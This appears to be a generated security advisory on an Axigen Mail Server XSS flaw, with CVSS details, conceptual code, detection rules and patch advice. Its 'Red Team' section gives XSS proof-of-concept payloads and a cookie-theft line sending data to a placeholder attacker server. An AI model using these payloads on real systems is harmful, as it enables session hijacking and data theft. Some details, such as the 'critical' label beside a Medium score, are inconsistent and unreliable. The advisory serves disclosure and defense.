CVE-2024-50601

Executive Summary

CVE-2024-50601 identifies a critical security vulnerability in Axigen Mail Server, affecting versions up to 10.5.28. The vulnerability is a combination of Persistent (stored) and Reflected Cross-Site Scripting (XSS) flaws found in the themeMode cookie and the _h URL parameter. An attacker can exploit these flaws to inject and execute arbitrary JavaScript code within the context of a victim's browser session. Successful exploitation can lead to session hijacking, data leakage, and serve as a stepping stone for multi-stage attacks. The vendor has released patches in versions 10.3.3.67, 10.4.42, and 10.5.29.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product vulnerability in the Axigen Mail Server software. Organizations using Axigen should treat this as a critical supply chain risk, as the software is a core component of email infrastructure. The lack of a public exploit or EPSS score does not diminish the risk; the vulnerability is confirmed and patches are available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and data leakage in an email server context elevates the risk. The vulnerability is confirmed and patches exist, making it a priority for remediation.

Deep Dive & Mechanics

The vulnerability resides in two distinct attack vectors:

1. Reflected XSS via _h URL Parameter: The _h parameter in the Axigen WebAdmin interface is not properly sanitized. An attacker can craft a URL containing malicious JavaScript in the _h parameter. When a victim clicks this link, the script executes in the context of the Axigen session.

2. Persistent XSS via themeMode Cookie: The themeMode cookie is used to store the user's theme preference. The application does not validate or sanitize the cookie value. An attacker can set a malicious themeMode cookie (e.g., via a previous reflected XSS or other means). Once set, every time the victim loads a page, the malicious script executes, making it persistent across sessions.

Attack Flow:

1. Initial Delivery: The attacker sends a phishing email or link containing the malicious _h parameter.
2. Execution: The victim clicks the link, and the reflected XSS executes, setting a malicious themeMode cookie.
3. Persistence: Subsequent visits to the Axigen interface trigger the persistent XSS from the cookie.
4. Exploitation: The attacker can steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.

Vulnerable vs. Patched Code

The vulnerability is due to insufficient input validation and output encoding.

Vulnerable Code (Conceptual):

// Vulnerable: Directly using cookie value without sanitization
function applyTheme() {
    var theme = getCookie("themeMode");
    document.body.className = theme; // XSS if theme contains malicious code
}

// Vulnerable: Reflecting _h parameter without encoding
function handleHash() {
    var hash = window.location.hash.substring(1); // _h parameter
    document.getElementById("someElement").innerHTML = hash; // XSS
}

Patched Code (Conceptual):

// Patched: Sanitize and encode the cookie value
function applyTheme() {
    var theme = getCookie("themeMode");
    var sanitizedTheme = sanitizeInput(theme); // Remove HTML/JS
    document.body.className = sanitizedTheme;
}

// Patched: Encode the hash parameter
function handleHash() {
    var hash = window.location.hash.substring(1);
    var encodedHash = encodeURIComponent(hash); // Encode for safe display
    document.getElementById("someElement").textContent = encodedHash; // Use textContent, not innerHTML
}

Exploitation & Lab Setup

Red Team

Proof of Concept (Reflected XSS):

<!-- Crafted URL to trigger reflected XSS -->
http://target-axigen-server/webadmin/#_h=<script>alert('XSS')</script>

Proof of Concept (Persistent XSS via Cookie):

// Set a malicious cookie via JavaScript console or another XSS
document.cookie = "themeMode=<img src=x onerror=alert('Persistent XSS')>; path=/";

Multi-Stage Attack:

1. Send a phishing email with a link to the reflected XSS.
2. The reflected XSS sets a persistent malicious cookie.
3. The persistent cookie exfiltrates session data to an attacker-controlled server.

// Exfiltration payload
var img = new Image();
img.src = "http://attacker-server/steal?cookie=" + document.cookie;

Blue Team

Lab Setup:

• Deploy a vulnerable Axigen Mail Server (version <= 10.5.28) in an isolated environment.
• Use a web browser to access the WebAdmin interface.
• Simulate the attack by crafting the malicious URL and cookie.

Detection:

• Monitor for unusual _h parameter values in web logs.
• Look for unexpected themeMode cookie values.
• Use the detection rules provided below.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags or event handlers in the _h parameter.
  • HTTP requests with unusual themeMode cookie values (e.g., containing HTML/JS).
  • Outbound connections to unknown IPs from the Axigen server.
• File IOCs:
  • Modified web application files (e.g., JavaScript files) if the attacker gains further access.
• Log IOCs:
  • Web server logs showing 200 responses to requests with malicious _h parameters.
  • Application logs showing unexpected JavaScript errors.

Detection Engineering

YARA Rule

rule CVE_2024_50601_XSS_Axigen {
    meta:
        description = "Detects XSS attempts targeting Axigen Mail Server CVE-2024-50601"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-50601"
    strings:
        $reflected_xss = /_h=.*<script>|_h=.*onerror=|_h=.*onload=/ nocase
        $persistent_cookie = /themeMode=.*<script>|themeMode=.*onerror=|themeMode=.*onload=/ nocase
    condition:
        any of them
}

Sigma Rule

title: Axigen Mail Server XSS Attempt (CVE-2024-50601)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected and persistent XSS attempts against Axigen Mail Server
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection_reflected:
        cs-method: 'GET'
        cs-uri-query|contains: '_h='
        cs-uri-query|re: '(<script>|onerror=|onload=)'
    selection_persistent:
        cs-method: 'GET'
        cs-cookie|contains: 'themeMode='
        cs-cookie|re: '(<script>|onerror=|onload=)'
    condition: selection_reflected or selection_persistent
falsepositives:
    - Legitimate use of similar patterns in other applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50601 Axigen XSS Attempt"; flow:to_server,established; content:"_h="; http_uri; pcre:"/_h=.*(<script>|onerror=|onload=)/i"; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-50601 Axigen Persistent XSS Cookie"; flow:to_server,established; content:"themeMode="; http_cookie; pcre:"/themeMode=.*(<script>|onerror=|onload=)/i"; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Axigen Mail Server to versions 10.3.3.67, 10.4.42, or 10.5.29 (or later).
2. Workaround: If patching is not immediately possible, restrict access to the WebAdmin interface to trusted IPs only.
3. Cookie Hardening: Implement HttpOnly and Secure flags for all cookies, including themeMode.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) to filter malicious payloads.
• Conduct regular security audits and penetration testing.
• Enforce strict input validation and output encoding in all web applications.
• Monitor logs for suspicious activity.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System.